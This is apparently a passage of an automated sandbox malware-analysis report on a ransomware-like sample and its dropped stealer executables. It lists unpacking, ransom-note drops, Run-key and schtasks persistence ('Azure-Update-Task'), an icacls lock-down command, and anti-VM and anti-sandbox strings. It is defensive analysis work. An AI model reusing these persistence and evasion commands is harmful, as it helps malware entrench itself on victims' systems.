Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\I source: AaIo4VGgvO.exe, 00000004.00000003.2089852321.0000000003187000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114895602.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114580956.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116312815.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116383631.000000000318B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088573099.0000000003170000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\he\w source: AaIo4VGgvO.exe, 00000004.00000003.2144138093.0000000003419000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138658563.0000000003415000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\\f source: AaIo4VGgvO.exe, 00000004.00000003.2138048303.0000000003433000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138701335.0000000003443000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\C source: AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bbwe\ source: AaIo4VGgvO.exe, 00000004.00000003.2214146560.00000000032B1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214184252.00000000032B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2138048303.0000000003433000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088092006.00000000032E2000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088822719.00000000032F6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088776965.00000000032EC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2213925776.00000000033E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\bwe\A source: AaIo4VGgvO.exe, 00000004.00000003.2213742071.0000000003309000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216237857.0000000003309000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2221891243.0000000003309000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Unpacked PE file: 1.2.AaIo4VGgvO.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Unpacked PE file: 4.2.AaIo4VGgvO.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 6.2.AaIo4VGgvO.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 12.2.AaIo4VGgvO.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Unpacked PE file: 14.2.build3.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 24.2.AaIo4VGgvO.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Unpacked PE file: 1.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Unpacked PE file: 4.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 6.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 12.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Unpacked PE file: 14.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Unpacked PE file: 24.2.AaIo4VGgvO.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 1_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

1_2_00412220

Source: sqln[1].dll.8.dr	Static PE information: section name: .00cfg
Source: mstsca.exe.14.dr	Static PE information: section name: .kic

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_004052C5 push ecx; ret	0_2_004052D8
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_044970AF push ecx; retf	0_2_044970B2
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 0_2_05DF8F05 push ecx; ret	0_2_05DF8F18
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00428565 push ecx; ret	1_2_00428578
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_045220AF push ecx; retf	3_2_045220B2
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 3_2_05E88F05 push ecx; ret	3_2_05E88F18
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D050 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D008 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D028 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D090 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D0A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D318 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C4E0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D550 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050D698 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C960 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C928 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C988 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050C9A8 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CB78 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CD60 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CDF0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CE58 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CF28 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CFC0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0050CF90 push eax; retn 004Dh	4_2_0050D6B5

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\_README.txt	Jump to behavior

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_00404F8E EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00404F8E

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7644, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: build2.exe, 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_0449571C rdtsc

0_2_0449571C

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		1_2_0040E670
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		4_2_0040E670

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 930
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 9069

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll			Jump to dropped file

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-39067

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe TID: 7652	Thread sleep time: -700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5448	Thread sleep count: 930 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5448	Thread sleep time: -209250s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5448	Thread sleep count: 9069 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 5448	Thread sleep time: -2040525s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: build2.exe, 00000008.00000002.1875287836.0000000000818000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareg
Source: AaIo4VGgvO.exe, 00000001.00000002.1668074663.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: AaIo4VGgvO.exe, 00000004.00000002.2219862422.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: AaIo4VGgvO.exe, 00000001.00000002.1668074663.0000000000608000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: AaIo4VGgvO.exe, 00000001.00000002.1668074663.0000000000608000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\,
Source: AaIo4VGgvO.exe, 00000004.00000003.2214363216.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138459066.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2181443165.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220022963.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165814423.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.000000000095D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000558000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: AaIo4VGgvO.exe, 00000001.00000002.1668074663.0000000000623000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214363216.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138459066.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2181443165.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220022963.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1680803884.0000000000968000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165814423.000000000095D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.000000000095D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: build2.exe, 00000008.00000002.1875287836.0000000000818000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AaIo4VGgvO.exe, 00000018.00000003.2105227231.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2106582703.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#4
Source: AaIo4VGgvO.exe, 00000006.00000002.4109983935.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

API call chain: ExitProcess graph end node

graph_1-39069

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_0449571C rdtsc

0_2_0449571C

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 0_2_004090AD IsDebuggerPresent,

